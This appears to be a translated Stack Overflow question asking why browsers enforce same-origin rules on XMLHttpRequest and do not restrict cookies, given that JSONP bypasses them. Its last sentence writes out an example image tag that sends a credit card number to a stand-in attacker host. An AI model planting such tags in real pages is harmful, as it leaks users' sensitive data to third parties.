我知道我不希望从 stackoverflow.com 加载的页面能够代表我请求 gmail.com 并阅读我的电子邮件——但这似乎只是一个 cookie 问题。
由于 JSONP 完全绕过同源,我想知道为什么浏览器不只是将同源应用于 cookie,而不是使 XMLHTTPRequest 符合同源。换句话说,如果页面是从 stackoverflow.com 加载的,浏览器只会将 cookie 发送到 XHR 到 stackoverflow.com。将阻止 Facebook 的 XHR 发送用户的 cookie 并产生 Facebook 的注销视图。
起初我认为这只是一个“额外的”安全层,“以防万一”有人已经通过将您的密码/银行帐号 ajax 到“malicioushacker.ru”的脚本来破坏一个站点。但是,由于您可以在这种情况下使用 JSONP,或者甚至只是制作一个 <img src="http://malicious.example/steal?creditcard=1234123412341234"> 标签,因此这不是被阻止的。